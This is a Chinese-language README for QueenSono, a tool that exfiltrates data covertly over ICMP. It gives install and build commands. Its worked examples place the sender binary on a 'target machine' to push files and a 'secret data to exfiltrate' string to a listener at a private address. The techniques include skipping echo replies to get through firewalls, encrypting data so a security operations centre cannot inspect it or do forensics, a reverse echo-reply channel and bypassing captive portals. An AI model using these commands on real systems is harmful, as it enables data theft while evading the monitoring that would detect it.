QueenSono 工具仅依赖于 ICMP 协议未被监控这一事实。这相当常见。它也可用于具有基本 ICMP 检查(例如频率和内容长度监视器)的系统,或绕过强制门户(许多公共 Wi-Fi 用于在连接 Wi-Fi 后验证用户身份,例如机场 Wi-Fi)的身份验证步骤。尝试模仿 PyExfil(以及其他工具),但思路是目标机器不一定安装了 Python(因此提供二进制文件可能很有用)。
安装
·
使用
·
备注
·
请求功能
·
🎁
curl> 从发布版本获取
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qsreceiver
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qssender
go*> 通过 go install *
请确保 $GOPATH 已加入 $PATH 中。
安装 qssender
go install github.com/ariary/QueenSono/cmd/client@latest
mv $GOPATH/bin/client $GOPATH/bin/qssender # 重命名二进制文件
安装 qsreceiver
go install github.com/ariary/QueenSono/cmd/server@latest
mv $GOPATH/bin/server $GOPATH/bin/qsreceiver # 重命名二进制文件
> 从源码安装二进制文件
克隆仓库并本地下载依赖:
git clone https://github.com/ariary/QueenSono.git
cd QueenSono
make before.build
构建 ICMP 数据包发送端 qssender:
build.queensono-sender
构建 ICMP 数据包接收端 qsreceiver:
build.queensono-receiver
qssender 是用于向监听器发送 ICMP 数据包的二进制文件,因此它是你需要传输到目标机器上的二进制文件。
qsreceiver 是你本地机器(或你能接收 ICMP 数据包的任何地方)上的监听器。
所有命令和标志均可通过 --help 查看。
> 在此示例中,我们要发送一个大文件,并等待回显应答以确认数据包的接收(ACK)。

在本地机器上:
$ qsreceiver receive -l 0.0.0.0 -p -f received_bible.txt
-l 0.0.0.0 监听所有接口上的 ICMP 数据包
-f received_bible.txt 将接收到的数据保存到文件中
-p 显示接收数据的进度条 在目标机器上:
$ wget https://raw.githubusercontent.com/mxw/grmr/master/src/finaltests/bible.txt # 下载一个大文件(示例用)
$ qssender send file -d 2 -l 0.0.0.0 -r 10.0.0.92 -s 50000 bible.txt
send file 用于发送文件(bible.txt 是要发送的文件)
-d 2 每 2 秒发送一个数据包
-l 0.0.0.0 接收 回显应答 的监听地址 -r 10.0.0.92 远程机器(运行 qsreceiver 监听)的地址-s 50000 每个数据包中要发送的数据大小> 在此示例中,我们要发送一条消息而不等待回显应答(在目标防火墙过滤传入 ICMP 数据包的情况下可能有用)

在本地机器上:
$ qsreceiver receive truncated 1 -l 0.0.0.0
receive truncated 1 如果未收到所有数据包,不会无限等待。(1 是与 qssender 配合使用的延迟时间)echo 1 | dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all在目标机器上:
$ qssender send "thisisatest i want to send a string w/o waiting for the echo reply" -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 1 -N
-N 无回复选项(不等待 回显应答)
> 在此示例中,我们要发送加密消息。由于命令行可能被监视,我们使用非对称加密(即使密钥泄露,也不成问题)

在本地机器上:
$ qsreceiver receive -l 0.0.0.0 --encrypt
<OUTPUT PUBLIC KEY>
--encrypt 使用加密交换。将生成公钥/私钥。公钥将被 qssender 用于加密数据,私钥用于在 receiver 端解密。
在目标机器上:
$ export MSG="<你的消息>"
$ export KEY="<qsreceiver 输出的公钥>"
$ qssender send $MSG -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 5 --key $KEY
--key 提供数据加密的密钥。使用 qsreceiver 命令提供的密钥。
RSA 加密用于保持所交换数据的机密性。例如,它有助于防止安全运营中心(SoC)通过基本分析看到交换的数据(或进行取证),或者仅仅出于隐私考虑。
但这是有代价的。选择非对称加密的原因是加密密钥是在命令行上输入的(因此很容易被检索到)。因此,我们使用公钥加密数据。这样,即使有人获取了加密密钥,也无法解密消息。但公钥比私钥小,因此它加密更小的消息。此外,计算成本也较高。
另一点是,由于我们希望限制每个 ping 请求的数据大小(以避免检测、错误等),仅在必要时使用加密,因为消息输出大小将(应该)始终等于模数(密钥的一部分)的大小,而模数很大。
目前,整个消息被加密,然后分块发送。在接收端,我们等待所有数据包(分块),重建消息,然后解密。但这只有在收到所有分块的情况下才有效,否则解密会失败。
=> 我们可以根据 -s 参数分别加密每个分块,这样我们就可以分别解密它们。
> 在此示例中,本地机器通过 ICMP 回显应答将数据送回目标机器。当目标发出的 ICMP 出站流量被过滤,但目标可以接收回显应答时很有用。
在本地机器上:
$ qsreceiver reply-send "secret data to exfiltrate" -l 0.0.0.0 -d 1
reply-send 等待来自 qssender 的触发信号,然后以 ICMP 回显应答的形式发送数据。
-l 0.0.0.0 在所有接口上监听触发数据包。
-d 1 每个应答数据包之间的延迟为 1 秒。在目标机器上:
$ qssender receive -l 0.0.0.0 -r 10.0.0.92
receive 向 qsreceiver 发送触发信号,并收集来自传入回显应答的数据。
-l 0.0.0.0 接收传入回显应答的监听地址。
-r 10.0.0.92 本地机器(运行 qsreceiver reply-send 等待中)的地址。QueenSono 透明地支持 ICMPv6。传入 IPv6 地址,协议会被自动检测——无需额外标志。
在本地机器上:
$ qsreceiver receive -l ::
在目标机器上:
$ qssender send "hello from ipv6" -d 2 -l :: -r fe80::1 -s 50000
-l :: 监听所有 IPv6 接口
-r fe80::1 远程机器的 IPv6 地址——自动触发 ICMPv6
所有模式(带 ACK 发送、不带 ACK 发送、加密、回显应答)在 IPv6 上工作方式相同。
请参阅 hack 部分,了解使用 QueenSono 的有趣内容:
cap_net_raw 能力